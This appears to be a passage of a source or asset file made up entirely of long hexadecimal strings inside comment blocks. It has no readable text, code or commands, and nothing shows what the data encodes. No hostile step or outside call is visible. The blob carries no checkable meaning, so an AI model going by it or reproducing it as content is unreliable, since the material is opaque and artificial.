2cbe310cbc9d6cdfaa5bb4317a57cf54b1f254cbffd24caa55f26856ca916430b93cf11bf97cbbe6905b8f124441452313c07e1d80f253d72ae862447a09564505b0e6e94ca77ce48e8589e56e4f556d5403518e74b4b8eef81236390e4f3f6b33578506da03d8544803b763dbd315a9c840ca2b6c09f46aa18d90dd2efbc27fe1cb521f29c5496117b1b4e370cbdfcd144b5f6284b29381cc83e3462a4124434f9eddb196af7fa049fb6ad495c90e811a5791e575d45634e39ebbd499f0a59d8f31465c7622f2ac711ad434565ad0d1a4f629444dc840937ce12b02aa3ba65ecaca42517c13f488e43ac8530b8ecd46535965c9300a1d12d3fd74141d73552e4a9a122fba33dc57434647a75f6461508dde46951a56d82f43f3f0717cce21882545f728284a297b240b27422f8bc6455168616e87cb97f52302729b06c5f0a71073925db0b1a365e3ca05627563458afb5e324a3116543d1de823cd7989efc7600ec7193f05be146ec807c9d82a3513ea4f6ee212ccf0a3a2e8902de740c83aa418aab72a1fc32af7aa63ae1fdc6685da89a3aa450174d4f3eb89e031c6838472dcaccaf84d41eec884f8c05d10aae44839aa2b023e879e15b67213982133e364708cc5d72eb87ec19d98e720b03d0ff25a75993e8f5545c1ca37fc86fa956e51fe8ceaecc1a875dd72e3bd3a3c0661213fe85770e9e48a73ea614f5b67de46839563c405c72c87d895ba80418e72bf5d3fe8738deddb117676f45cfd4ebf339df2dc976e5df250a93489df0bd165a906518e805e5ea7df5150146c959f412feba430bf7359de26ae8fe5324089a517a5af534d652357989d36383fcdb439a93362c68a7e4fdd2f20fb47d7278f566f3ed7b1fbd4f588910f162652cdc96407b21deaaf789858105edb9f87b540b3e24d3964b8d9257e23b5de52b6278ecb014a5504b03d113a49e08e22ab13f94c7ad986b362152eabfb15f6c438fc2b983e8386146bfc1ab1652ad9a5e963fde7e3ef31f53cab5f110f228d54524b43007c07b8256720dc15d8fc233fb52ca55acd77d975e8abea233d4a4591e3c9386263d2332feffee851fe68e218d735e260ea5e49595f9c5309181696a9b2c4553f293fb988d359232d1b652bc626d4e928338876b90043920c4a847335e29eab6fd6a6d848debe770329647cf7eebed27c69c155c14e30496e07c2e433645340e16e6e59e819fd7e5f2ee7b2199b6656383c96e17ae7a94f21e6bf6066aaf16cd1b71558afa7cffa8a309ea46aa6563c8fcc696e9dd8b1749b5a4520cb28c2605c072d5788bfd4f843262c0b823ddcbe33b45c6cade2ef7834f11cfe873dff26259795a0d21fe0be1535a4a2d5c44562709ff561b047de8ec26216a77d8162bdbcdde93b85a4cce9f29967aa7dbfcd9eac23ee8e56760e110a6d9983f8d73597e6dba9536d5477995998e4c43de83f6378be8e82c81d77d84395ed0f00b94b7ceb803cddabb2c80ce9ba4b34be7daac84ec58c04163d98eb1867c54e1dba389e54f9d4e417fb01f0de4a9161f62e5f33bc61d1d7f2fc53b20c028bbe448448f0486c4120d7acca273e7970fbd32bf7ee889795162e90dafb470d4365ec469cf40e64fdc481ef9a64115b64c45bc9633e5c93534a9b71f23bd1ed6846c7a2bbfc1e8b764f2b182d1e93a77ff0ee5995220ac97b069623714b5844f594f04f0890557b1355e50141cb809008d21a96fb0bab35c8cea077e019a5d318f5cd0cea90f0568fa404f1e9f155160d676315d4b6f2f696d7c67b6559f20eeaf221ce27514f091c0226c7298b8684b0c11dc60102f21cced58b3920bbed585d3f251f3be5cf483749f4d60d9ae6405f83bd9c1cae0fac80413b1cfd477f3aa870c435be4f09e02b3601931103bf621a8457b049f3b5340f543c508fa3884a500912ff7287f8b428b8d475f6b825418ed691fa17b91ff2e0a2babefbe60d795189ed6b883106fbbc8d1329aeadf55aa95352b5cfe6ec173a1fbecea30a9548cab374de566fca2a473a0816d5aae423*/
/*9e30166d6096c955d66e544225891f5c9f614032e06d4411c0c1aa5c50504cef59fff8fa925312938372a4ad242ab788e30c2583c035cc19adc8b42a2afdc6b65ae7e35f6953ef62eff2bb68ccc06de734cb8ec30be9468648ae7aa352293308daebe5ae1d4bc768d5cb983d3b7503b4504da0c2be0827d01981f98118f36f2dd9c123d51a12f953e1f48f175044fd76cb1cc9b78d20d1afd888fd29af095feada0a62031cfb0203f659f6bd84076dc06a8f2d9ebd83a1ec15f2033d0497361cc883f2eec9fddc3650798bfdf72bf20bd203bdf3ca4ffef2a6eb166bf8c1a92d2162780bdececb08282678aa08ccf41ff8e8a3b95d816d8551e7d00e36beacb874ccbe1a10f9578d7b1a4d6a00fb455abe0b8e4b255b933f51d172246b90476186628982d009d85f10f84b0811869b407b106924f5d6052074f0f66afc60ba6bc8f94631f1e9697d678681dd313c2e90bf9268a20b1dad64e4697bc1da50570c5947cb475df6ffe96092a76d39baab002bd5701a2c5d0b1ae2c70b1a344f538a5d24daf5b8fcbe67268a67e58cc490b88c3b5350da995eba1fe3c5be558e6e6619f78e9da43f4ce2557cb809f489d34c92cc03ffd3e99a23ebd20a24856bed2d48bb4771d39854d39ee554570264e88298d15ee0abcd92059d0dd31681500736c0079f2ee689b53f1fa7487fb5174d7b256a10c8a133cb5b25bc19e41d03423a1118be67594e6ad40b6525e31f18f8389fa5c72ac370d1c825b97b6937da6843248465c1c9f50311297927e72b0b0dc498eb91d36426a655d2a54876cceece88feacdb40e6c2bdbce16d040c868429be0fac1c42e1c3284fa9ed1fe27e62007077f3a68064ac1a059f34492c15ef73fbb2bb78e1bb47d3f46b2fd8b9f3ce5339e3233b0b37ee5aedbf3814f64f0bd0a0119c60874687c25a6f98e0e5120dce2b2ec0fe47d104e85a7f63dea658aa3cbd7820f789033e133443f05f7d1629bd1fa6f307b7a24355adc6267097dccbfdb1ca3ccec1b9342c721bec2b498d1ee2da9ef2cf7b22c9d825c521a51692d4e95e93c68bc09142f5a903fe3893a3f75a6aaeff18edfc971f009fa02ba3a197a5b3a0b62e4d2be7b8f5efae09437c71e17c3002010944fd56f902c59799a43522ab23d7d1626a79699c3895a83beb56556af39ae2eb2ece27b90a4844ae490a8ebfaf51dbffb5a2e7cde2ade040a72d9a1b033ec9d830e0b2d54c095481c6a91048cd0ba9d44d4e17129cacdf90f1a49d1b54dc8ca3d850ca543e303c1023e1e1fb699ed3d637524bd1aafa1a37bc2d449114092977527537708cc45cff27e99f40edf5d9920ec48fb8a3bd059659e85f6b3864901ed6337e441f17e5d913e9cd46fa024c3d645248ab04b151409d0d4e0b1aaa104c019e5cce2b2d880567f67241e2e719da14fad5f70a80d1d1ec88fdbda5f1dc68a62ca772983880022fb2feed5f6d583cfa3885a49ffc358bbeaf8cd1669e6782581b2dc2e98c558a5259470cbef3d274ddd701145dfe5e8d223359bd34526b30dd401455bb1aeda73e503896748a98130540af0dd7c54994ccf60a96ff6bfce9be97a6c02ca815cdc675eaca95bf2ad958a98e3c9b654268969b87cfe6590db6f60094f070ebf509c1b4d7c1717647a239988ebee780d4ad9af5455d4de86c14bc57ad3b272e1c115e02ab02f7ad1e3577d27117236c74da85a36b7c092cc6c105de784c239beb89eafa125bdca8cc8d095c3d2bddb1203359bcdda674e3f05819584ab19b9d5fc02c510494ccf17b2192a2c83a411c35ea3d68917ebc6039fe867bb70db1650f5764304ee8c120e02428ea4b042e35556a7bd9ef31a61f2a0b7eefb882800a2014f7822904847fed997c2ab95c5b8d5da35272ab586451a5cb19d7c857785de4d612d4f7b48917159cc8d144e7f282af43a67f94cf2621040b6394781d6653cbbb2f31b80f7491cd4a734777f209ac45a5d134e063af98dec3d8c8cdc7f377558c8b42d094dc9663c84d547dcaded65c3fb2f549426cb09c9bee31d1ff64dc0d531f845afc2e77bb159cdf40d8a092c25f9422923617ea9edec24e9fe4fbfa01821a36a5c52991512450b845a63bc352cba33af03573953bb3364c0e2ac0944715883a2aaf9da8da571fdbbf5b0e525b6ae08756727f979f46d9dba04719aec2f289208999c716b1b2102ded91638638bb551a345d01bafacc077faca569d8aa32991c7a99ff00f7fbb8115c65895e232f35233170f8b7e8762794182fa906717d8a304295cc6a1454932135ef2c75cf7d207dbbc3663ce329a5786de96f751e691a8338f09ba840b2a7d9cba6547c9610e8048dc2f49b98fb12c8862a4756a9340d76c2260f97542c80132d50c91bf622244d581fe7996600bf94851428da6398aca38ddf0b9d86824d521eb2fa6681a82e115d80614960f1f1c0d257d20a57e281d995ed6651a77d41659d37624c049e084ba202dc3b408f760b79a19c8644ac4d3ceec54e1c2e69295dd0ea51fe1d70867a01f914f236e166aaefa1e7cf5cf65677b4fd9244fad5d3773f388c01abb4680779a07fc8659d4890c2d6529d78d8c79afdfd60878f8e45044cf487c18697a719ee07e3794a6bc3522d149ce81d05e0261fd86b505e46d4500d23044f1adf6c4f475db9d69af94adf906a5ada099ca2f2fc31b14aea20bb0a462836ff7af5054e0988ca76b7233a7a6bc711c74759b7707f4b62866210bff1e82fd0a481bcb41693b2c0fb01434c9e43578368bb4bcc4bbe9f35a70ad8b769f4e969d8d45933a5e88b0fdeca4e2d4e5eb94b5bba157d24f9f9*/
/*d166bc6c4d5d36484aa6c6a4899de8621954d8ee19e4e3b8ac7f313501b77bd7ad41376310f3740a88ccde5bc31f5bb9cf1dfa33308abbd39ec931df707821b478f1f825bfe0ab8c19334f59bfab6d1d7c5805474d02eba525c12670c24194c9d57ec376b8d702fe72e23d76fd564fb680d67bf5d9e610aa805a384b2b8f3b85c0013836d3c9800ba2b20a0a4e437cd55c48a7555f0d3d2ac4c7da0d629d88e2a01e1fb4167edbc71a509174e0e938e2f71af81d9ff7a916c07b562b027babaca8cfccd3af4873a092eec3d4c358fdebc960a38ad33d0cf4c08ff5818896be9c5d763f25d269d42a291a5a213812c38a6e776f2dae226ad152dd58ddcf2f6a4acfdcd1dba090d01930e5b829f2d43f739a064cb9b905ec835791883bb652b3b1a8882cb60055b908dc55922b27bd650875f6c506ff01072fa9f9e9e4c24b8319bab5bf2820fc812bcc8723bc17deeb443a50500d1481fbf883855521251beed2b1c78ea8eea1499f31fe1f3a1264949bfcd968b03c643e6cb66479e53bd4a42fe636bbe90c03ba5f40229a6b1d0c4eea6e5eee5558af2ba09fe1d94d643e130f0c2296a8b302b4828199fe0196a18734fb9ff9b5aa1da809ed6df9329903ee2cbd40058821edd356296ff2c2a36f1cd5b507213da7b4a3e6fd6ce103b0da41e73af3c34b8f97a132c1ee903deb303f24265ec1b962760077eb3b3f20a0e34cd045ef60cea38c3aab2a2dec32b90d12e21847e68bdcff27fa0c09769780ae56401d64f8a4fe7ec01bd1ff99f91cbb573f384e32fe336b428f8b6573d2133aba1af3d9655cf9fb5826d7e6b272d5f6f6a7ace35c87994b33d3927519056aba229ac483e48a49ba99c0dba1d097340fe86b306e1c8f5efb1c3ecd8ce4c9e990a00f373b916de15cacb0529ca06de7d39d62c57edfbc9d9cd3ca3db77c2e161da69b288357f023073e5f97d63a3ad663e83ab66e04025a57c14a8589ac1bfe30d2187f9184294e9d273a8dfaa3914a1fd07bb6be4c0d2d5f71a26bd9791248c3a1a38e3db73bafdee84901227e1a85e29c93cb67455b8a26c23e7c817e89d17ad0c6ed3004390fb7a0086cf8d1e9b544c5a5816cfdf8340487dfd6fcb38c7e034591a84b39c141a6e826a8bbdee57ac02ea8e01c70a6321707636037c6006965b82131948a79bcc0c481eb7a488a4dc563f45239948a7974b7b12fcd94a295216af5b2ecb027308cc084a847621b78127f6c2e8c70621e985282a970a73ff8a29a0d82c583bc9732a803bfa5fd0fe088db7117ec4d487173d5a2796ffbff00dd8dc4b3d997894883368c5333c7d607d8013b166a6b14d322daa8aa8f8ddfc752d49133acfe257219a30ca3ef2d43c043e663e169116086823aa414b7d043b0414c9b0c0931c5f2ff491f3dd5aa0857dde6e92675a10a2f6cf8ff0da6d085e034ba3ad5da8268715a925a11059f5fd32b2850e83a06e92877b1d9507a9d2518c2ac0370c39541e9e910e32e5fb383f3035e651a0f2e90ddf21ebbd63cb0fe0251ea8765c98f697367176a2ccd59cd3559d2053295085be41627f8f9fd325c059ab0c117d6810cbe05bbbf11bf7a96c6c74f6db62e8d670af6a211d9f39e9961a5585593553c986d5881349683617699a1c21221a62d6d63a6f815ca8a45e329594c867cfb72f97be7d7a78f833bb9c24edb398c7db52bda85c0b511de386af31cafc24061f49baefdffe58f8ce3d51f1797b73de0318cfa98a37b3217d35d53b1a6c4e696e9bfd3acaf167f3dd137b26a6b73b598e40c6725286ef77ad845d19860cd255b32f1f2a4f921e9b4722ccd744b495d3333d62026bb586579bdfad7250520d37563efff4f9eef13a548ff889e87cc542ce79467a3b0d9d37037bfa95723072ce6222c27a11464efa1a62740366de0d2ef00282a40fd053260b115ee7b02b3b973e5a1e481afe85b9052237af6af4f713e3ec2ba7534578e08ed027b7feb5201b188c35f3e54353f9d1d323864b8907d0b5593d783a05624a448ac642772eecc6fb3a50422a67abe63a36e5466508f1bf5446f5060fca3cfc68f8e56cc85f4b69c7013131601d59b6b2be30c6b3982640fe1f82c6519321ca5834b80812120c1ba7ecae67ef07a47e756131098c85aed7b778ce73373e83bce7a096014f6b8529cdeeff15085839ae2b3557fd45bd3ab2f1025f1d97259b9c2d4fa660714465cf1c234554f5f713dc83ce244955f35527a6eeccf82d66621d9adf0743a072c8e47552e984bd5457c445171eeadf56eee49f9f2d3dc7d40ea34c032800bb36592107c4b1edbc4c502540e26e194acf1cf6f673739bfb9fd733f55958b610827f8bfb68d904c923a908e08eb39986ded50f455bc7c21eefb23c56415c45a6bdacddc559acc21c1da337e8089bcac23b3889c89c34f8935a8c4287afb650fafa085fd5a0af0c2a52c7db5f0447e4251ab2f208666bb44a5829a3ef5b4d016218f721b4190691a5a6ab36c3ebabd21b9acc24989f11dd23d6d0222696885488555bfd6fa88d6dfe6743c23291d693f163397c7e835fce305ae3b2a9bf6ac5e2a5db80145a4aa502527c9a53eabb0c13f6dd7478f5d5a8e2801d6098618997fffd4c7bec26e2881a78b3d1656aa84db8e3be0a8e5358805f032c87375196da3df768e1fdf56c2ec1203f80df1fda9a5f57356227197a27e2e5c4cf90f315832a7b67901a238d2d6509c5f076a815a566186f9dec3214f2baab0e39b71be26a75a3deed26ec07eb8d5504a25944b58b035aa0225efa706d7240c5eb5ab22d6692025f82365c94febf6d59d40bff61a618f24*/
/*1bef3a2a52d6a8889e50633b982489b772ad194944b018c33075d07f44cb7cfb06cab4098d348b907c58b63a6e729f3fcd0fe25ffaf854e8cca85c94ac4cd4a5d5408592ef3bf40b0831bb614776b2b9cf5be1b143365fb895a3ece7bf433286a1b209e43bbdfef12dddca477861a54e8dc61bec7b1666323e0b30acb9d3b08c98156fb614431c695da66c250106eb8471254a9ea355cfa37066bcf437270da14eec7e02ae9e346e9edb6fa26c7779abd28cd06405a72b31ff3008d17d98739a6b55e3da2d43c8341ba3496c124b88bc681b13577c50e9c0cea5b684efcdeb0286ffec7330f46599efba65cdaefd9c967f949ba667042472efd7c80eb092b24ef657b3621d34644f17b2f6a9957761d1e3a5a5bf5c31f741d00bbfee2c78195b3d3d639aae1b3ed1da5743b8ab3d2f89094524b78c69ac26779c084784e48c0596bb685c86d394f2663839891e00aa39d64b52ed6e488881b118bb412b9640b8967da6ada665b64487774a85dc12fc657e34d525c09381477d5c3cf9929efd1df2231c4213235dd12c1c5e2f04f47c39190cd17fe814dc0b128f77ab24110c069c84920692f488c1af36a66ce5d5fd8f477ef77b1b747bc945cb48928ac75043b6513463c8bf0dc56fc38a8cd8c7a9df62cf3b50932a653c769b1560054fd11dbbc3430e3aa30fc02a4bf1d252d86d997493f99cd01f6e589aaec2bfc767d32fb052681a898f0c0590842430ec05072b5623bbe4c2652f0fec0e4e6bdcd412f9f538eba28760751a719507d9c9f99af21cc82f637a1ddc71e6bd09aa1d92125555bf02ebef598ad75ef9497765efa814158f7086b0629bbd62230dc7a35ee26056f8625210af985b22a7a2f915acf51521b21b8d4736c7299f1875879aef6a16e6c2239e69b04fac16d106bd2a43d98c0ef50c93b43d72ef1aa20a8a5b1f626d7f2568f66c88b358373030cdbd9dc5734f68be7be36122cd0fdadb72b84fe189611ca006322ec1818efe615365dc336482f4991287c7c33d851469a733ddd132abf302414456fa3fc3e731ac6b4e927761a5e9c7c85e9202f91c05974bdf79db5b133ec451db6da7ba62042beadda4e87ff2d290d450b9cf08fc11d619e4d6fc131ec49f9028c0360ed7925d5ee834f872bd1bd3217351525388e5f06ad1509b693dff1d4f0b090f757f46ce7bf376150d09cfc10706fb697dcd0aee6f66e6fbaa618fea53b494ebabcc9a2d31ba9d3eb59f3e125d9f0c83b608eb7d60341597718b36a34b07d1bf3492ba10cd7236b99e4afc5e5775fb9df975a739508437000cb6bf0f374f9af463341f5d36db2ec6fc816ee5fa5bd598eda317d9904de50b7d6491aae0f7284e7d49963096c60f64527b0666e92b02655c096e75a01ad4025d1600650e171cbc7ee9e9b08344d4575d09ed5ff2d9b056faf4a6f7afd40ea0da5669d0148b116f1adcf9ab908489de7c81e6e2fa119a5fc9ffa11eff4ed41eefbca41835f8e7b41e7662b838facf6ed84bfa6d1a5390ed59f16229fca7e7f9d9f04f46cc162d0ba4a34d9c83715f217b035f17cc65ab3b1df4ee1521f5475c1e487720f15e0dc3c5bff9afcbe67979433bd9ba16afc505ddb3b7576e682418b49a070e8e03b1979458c515a1b669ba8473551b6b8ca58aa4f6b38e9660af4f87ce5f8fe3fb23ceb6682bc4622d3c49f1eb0348eb7f43e4d3099ac1275d3d1797acb02872c450041bb811c14bccd89485d4cdba7b1c9f4218b1b0bb347928b1b988ac4faf0abdd4c399e926f9d8c133bc1a6604e40182eb0a7d9c4468381c6c8f0488260641f2b2af8dd76ff288128df25798e217fcf6d1d34bb3907e2b431226a4b58bdfe09e38c6d699ed73c107734d2468057d3345fc5af9f5b5a6d935337ada7b93856001a4797743e945a7615a5ab71b896f6c076fed2b84aa06f28de115313ef083d3d05c15ea2cb9ee9bddf0262cae6073fdb7467c6c48649394d5f2febf89e4a885c8c90b475f079e8b09cf9d0c6e07037a2406dad1e735fea05dbc7153e0d087478107ccd618ba2a00b79ab6cb210db77654bc0bbb49cb5a8e69c6cf137d14a6fd78de4ea27125800aa3eec1d91c11d44f0466103fc9187f85a6d2d6853b2e4de8fc22210bca88782f2ea82abcd249927d1b527db167316a4e0ed06070306c04970017021be76810a10e601aa353f336fc5a2bb5a72c91c1f7eee5cc9f7172ff0709fa7d2f8f78723f3dbfc5dd47ca35e58c57c0ca3f7644d99f96e44ee1377d903d17d2e5227085ff4a0d3446f0fdf5c28f6a3e248409308c95c008facc1b5312a081228021c1864963b1494a85d69a1d97268cb77e3b813a6ed1ea4e7fd637c545079346a1e2be1a248eccef75cad97af62833126953ab61fb45d3c420157f34d5f6fa6bc6749f37625fe6af6ff281a581731c9aa1b54a7ec28ac7fb9d21c1eec5ec084dfb66e7f1284e5198810290b511d17c1a3cc897d1658a1e2c5f4b8818c185fca857655cee7fb0013c0bc370e3014cf3ca534d5f94777d95a1d6dd3eab7eef8c25eec96fda221c7710f51fb9f57beee02135952a757e2a05265a9e67b511872b5ed5623210f823122d8f7575c34592efd342a0edc9063a8a7941786d0ab80a3ea824d7720bea976ac9f37ed1a3d65f590b62c63d76b181b43062042f6fce704009413d9d97807362b3301dfa85416d17b25d90c6374601e9ca88ee7faa3ee3d99cc7afa90e8039f1401a2e3502d59fd3ff86541feae408114b3d11be9765aca753f7b88750552b7c09f74c090a60911e3e8101f8d791d467f707166a92b91e57436f3196497ea6*/
/*48cafb8107d6146c761042873b2ad8c65bc128d75f2b89911c918ade3c13b27d8aabf30000de002891a49780e52f9bb166cf3721e3deee9a8b7196f3421af57ce90d1d66f41540ac9763a8447f0118daf91b573c4fd84e788fd989676936850e02210434ac9507d4fb49d7ed53676989d055fd006d7da5120d67ecd25ae6d61aede1fd41e9a001aeb115b9817d269db8ee9b4b1082dae7c1176316c8db4a61542dc5b459c011dfbb6747b128a371b3581d6766a4391a2830eb77f86ce1485bc1cb6215163a3a062458e8e8b68d4af3b3e01d5fe681814edced6c77015ff9cc8b0a9b535eda91687ed6af0e57cbcb7b43830ff0e9bf90425057b4cda6272f39e25dd6254541030e28fe522180938b1db58db0facccca66bee8bee9fd2c065d77f4c6feda4ff2b1321a75b2fe7dcd005b0cb02cbe980876929d97994bdc5587885c1dd8ee5e98b38d447ba6557640b210e704599df12d045c86e8be2c54bad838e125ffab348f0c209b113d9b0d9397adecf257c04d504fb8c6528e4833b393f8ace3f88bb2010405312afe96ec0a38aa5f13bb95661548e29091f81b61dc72c2158692ff299b99e1cd256ec2ca74510ecab122d1b04748e92afe3d25d727e0455f638f621424c182070835e79ba1f96209b45cc4c4596154ecdb1fcd6a07b1a3b39767489871b5576e0b0693818581df766203dc46b3c54ffb373e96c5fb6c0679c15a8d4c69601a21011c4bf01b2775afcee78f2169620286cd152b273ff5b0a40011cc97a96ca7270951dc3c1c45293255ffdecb68770a1f419adcedd9ec0fbfaf2cc771684dda68d3b54bd20168f9eff215d422556fccee9b4f3c9eda77906aae4ab4858b071eab7b1ae068cd52af72e0869826949aed244d78e5d5830a1372157c68eba3d65ac92c83b3ae2beebd94ac8f76eaf6b824e9840025c2632b6b0319261927ae2deeb213634e87a9593b652489ef6206770b7aa3a24a7bd0c38073e997e487d38564f12e34d06bb618c0a8ddfeee3fc668d421279959eb0c92b4f15259c41304703bb185f5deace4a5d581a97493af553491fa1f7ea104fb733b1ba71b7833162f8d56772e00bf205a7481e4a32bb8d42e84a52f3c8d8f36523d079eadeeed4cfcc6f2d4f0bdec9ae6974d4934a331a319f19132c5336b6db237c2fe8ce54b5ed00ef0531755cdb145f2cf02b2a2c70160e1e14bb64b0b8b6dc33f8cf8285f0ba4740e16db9084c6a33402ad55d1b08d6da6b112bca18d681322305cae106e7235013398f9001adf9c56b928dd176164936c6e40da655ce27cd576c9c5c15ac381698b540897fa926f4161d5ad6319ab20a20e525badc1c098e5718f4fab0822bfe17bb37b8f67e5371b2e4f3516c4b1eb5947e688b5436365dd473f1ddc43e1f5f1b19162699751488e374849abe2ccce899d8a66f4451ea9e18398c0228996549692461e1e3af620ca549e5d3874b8345f632ad602a48d5d89998dde89bae28dfdb5b7252ff9aeb5c1bb962e2889d3476c298478c43743f60d3729d3d062e8f027f8913e028cf05c7a31106f1b635cbbcfbc2dd69ba4969ea133dc3474758689a3f4e998ea4e42935353cfb5589613850ab6892e4f695108d09fcc5cbf3fe00b9444f84b31b53fe57fa05731d9cf1346c5c1315a9d013dea5ba342b33f0effd96e1d3495eccc060017b05fdb1cdf3e6c98ed2696eb6204297310b6efe8cb9f299a74410862836a7272480f95885f82e2e68420f0f8db147df3134a424993c88fdb6f15abfaf9e609f187ca3f04210570faa831fc52298f4dae0e054f0ff307faeeadbbe0bd67da5071d7ad70d42487067d04035836135e324ead4ec424f198280005fa3606b29074de95daa87fa6e2c60fbf57e1ada03dd0f8ae5c0b4c1ecc8df873a530b662747516738bcbdcadb476671bf3d82cb91643e3e8719e3dd9ce5ecd3f32ae7a91e9cac87b189c406824053c476eb2d0704553d6ad3429f11ee473fb1519ddbea585d75ff2cf0c2dd3027ae1a69973f12c9d053027eb34fe6d47226887193cdedec050db731d670c44417011195a0af5eb2e86e972c9d988f56a9eeb2a4aab8ac946e146a46abde85ee1388bf5c91d2bf6ed5913e6ef416ec14a465dd108d94a240f03fcca097ed7f19f2b9289d7f3e89a52d023eb99b9476d28a7c67edee12ca40673a405f4516c9976b33ec2c9eba2b869074f99de5b60056ac2f756d5daccb9dacfb449d304b0435296f3a8fba9e7f83e5fc169bbc790357252878d85071fc3c4d6900ceff5b1638961d7e754832ad786b7606c14bcb6caf57cc6e3b75fbae51cb4f8b6fd9726aad47bbba84149881ff3041cec905ac581a06c0ac5daa4b5b7c79371c8f47aa60465805ba7b37ad2b81affa2334042c51ad091581d7fa7b1fec9e8c6d4a7274da5c5afa1e0c2acdaddf629ee214ff7d25e7c3907cbfd3696225fd3d47b25113713fe55224d2a1a246c798d5aacd240ebad1e0cd1c9d17cf452ce6f7d39c258995332bbda79166e06bb00adeaa9bb2ebc84c66ead89bbb7acfc21c49cb2c0838bf3abb8a17e73e6601bf865e7ea805bb00012c28e9792db4296f785ed126c8d086d3493c2250b04f3fd860ebeef2ce806f44376c2c460a9690cec101e72580d17887ef54598720b74d0c5555c7d77d023183ead56018cdfdcf9b2102ea14bfeb6121c389b12089e3c23c6d9168a3d3b57cc4cc329bbdbbd926f24a5b23ad290cde8906a80248be1601525934ee2a37605c61a2f7c2b35443f710b0c147921f4ba6f6b6fdd9867d18f1313398c10f69524aabf7a1a7ec1255de11ebad8f*/
/*a1feca2a5f4fbde0db6765c7cbec5690becf266f15a848616480b5c425fa26d60576690f8abde66bbcabdf082cc2a47e7ceb2c014adb44aada7d324387d506e9acc5e7c06770956077a26ff23dc533aa486ed576b050270af4fc90787703bf561f59cbd7ef80abc2368cc4da77514048dd4811659783220db2d4afe8ab4889700f3ce5cde3547f2721ce9a96d20398c7c21ab46ecbfe02a15b396666b74e0ac1f6556ef92e6031d7720af1a373ddc54439071339a7e47a4d880a7dc88d0e4e5ef7a81020378371ace7fa11087a51bd3fdf033db4757dda7f8abc2521bcfea8ae567921883741e317c34c0b273cd780ab8c38edd6c148402f1ab3d728dea14650cac991cbda07c8f8142529c1f729275c16d6d347400b8d625ce9dada3d5d4cbc08938e0438b5cf49dd189c8656aa149b414d6fb1320f699495721b1e7698e765d2b5640ba34692782a456d8a540ffc4068698660c0f7b4fa0bd872e56e3604ae36bc28dd83a82512bbb63b82af75334c93026a69eb8d845fcdc2b563e97f32733f79d6fb5a9a1ff990c0899f4a29b976ad1c5b6459ab5c234d81c8b3f37e63e48c1a000ca71c9087acf64bcef925a6e872915106eb9070ffd46e5c9614d1b0a86399fffdeecef89b6335a1dfabdd75ecdbd521c2a073628b005501389c7c383c742f7f481fedb7b20f063a90ea51c904720e4f489f1a4cca2ada55f5688be1f04bdb1ab92369509b064e042ee2c773333db82f913b9ed4af5770de4a01f2733857fec381a6f56e3de02cf07886833eb4ae94c9c2a0d56d2a7995b3e271355bf63587c46554d59fb611203cb9557028bfec836a86cb1cd90f1059c48b7ed8428fd7cb511d7792c43f6eb7342502b3b921c925475fd6172ed680a083e6b7fd82758a4896cdc69904d50626c98798a17efe432273b9d72243bc2619481d0eae188d0f93634a80cd3ed4cd1a5b5ae84d23f9409ab80508cfc63a1e491080d6f92d2f2543c0e8a69097368294e5a395bf73a1183361a36d17428ace2a713e57e89f552f59da31ffe77df3eeafbe5f6c1184d8b7f5603cfd6c59db9246bacd69ed847f70132e902d0498a129d10fa37a28732b32e811e09d4000cb189f4d0473a1b86c93b2a8bbe343e5886092c8ad9d1f3bcc1e780f90476d3fe3e6cf8735a7ab5d7ee83d3ff1ce8d833e2d6ae7f374dc12dd1f8c0335826940f2da1f4cdb20d4105337f23a8f751f90e4603b7c32f21211240d28f9bcdfbf5aa9cf23631a0a954fb7f3d1d925911a750dd3babbfa91f946eda2a96303816728a177ce58bb8589f5257de209d8e745b2621492872b68576c9336f01f4bea75091def274af58697a78f17d08e04cd84cdbb9f9549ff99a288da600333edf5e1b3bf5ee2e15207240ae88c69610d6840bb5c41df672f047bc27a5659d9c59505fcb703fc95bf74b89b93a85fbbede03351dd85100b7d9cafaa8d106bd20e6e52a806cba875947d8d8cfa6be7849a7e65ebc9a3cb45ee1bdf5da0e901226005f3ee29ec9f30841f2a380a24b2b887e55e50300e325e0357f66803ff5029551c6e83af368914cc66fb304de30d004b4471dc15969caaf48c0041f967da3698dfb77eb8a0ac7ad70f2d15a2247b7d67898cbdbf26b85cf6028630f57a117e92972c5cf05ab1cbea1cb9c4bbfa1d5608a93f1adcb5a94e7caffc88b2e64849c9b9b7c084af2809ad7ef0289b42e1d10b3bd9ce765a9b69688990b5c1c62014e6ba8184d4fd99dd61095d1268e7d45e966c5d208b20f81097dd639f3f82a9a1d21534eed872abe2680fe48ab8733471bbc0ab0ee6822a959b4d2a8a0889d9a4abf4a0bb60a830464743ce3fd5cb0c9a89700669204936dbb288f6be7bc3a41710b9327f467e888da9b87db8381195b19353addfdb25772ed09a5f6095e59622f02ab903e3e1836c2abdccc24db887291f05e7262072ee637dcd46e6f5383e6cf075195182797e9736c8c7d574e9f2450ea71d62f8fc1270f6f4dde0665ff8f97ea9bb3a66474b2413510769bd4b147ecdeb2de843713d2eb2fa750ef0f91a0121124a65ffab7dd831f4df0f181332c0955f6088660f786ee791241f6e029cdb04e48ed9106bc8f1c32c58e39f135e92b4ce79c718a223109e47544e695feea27c1917bd97db61b633005de2e20967f37d7dcc035785b95f7dd38cd2c66895944b43da39539f68fb0ba5b3171c4ebd254208a25be32eb4fc2aa246ebe422b5f8316dbef255d8b61ff7162eb9726cb3d788e06085a246e765add71c038b127010c6315c88c1ff21d1ab99100baa431fb3bf4378cd53c12af03b99a8b864e45b3fc89a2ba1fbdd12f0fd9e5ca4eda20edad2d15fa60b07231495e1d8a45bc5d2368babbfe718c2094707c2cc3fd4fd2f46c02ae8cf026400b732ecd070038310841e959ad6077daf10f330db61973ed99537a1c5dc2a59c52a7f8013ecd8ce7e94abe256251c89f929648f3fd5540c5ca02582dc6107e03361b374cf486eaa0726615527f92bc5d77b35942c0f11902f0b34fa0be32e23f95b257721474fe681c4f919b9fbc24ffc94417d49e8892cec19b52e34e08a5cf9cac047d0ab015123d8018af9475abd665c71643386dd55ebbdd1448281483c4f9270f57a29b1e2abef1ed80f536d8bfe133f4a3872a27f8bda4481fc30320d90544013cbf0c0a0a45783859c5a25c5e30a106283d8771d36bd7e6bbde101e6258698d87cd881b618ff2bb1427738d3eb0fd338b39bd83345743a2b91731ebfed28c300dc3c8beeb9c41da41227108ace21554dc05000b330b8a875d7314ee97471fb1f75ec42*/
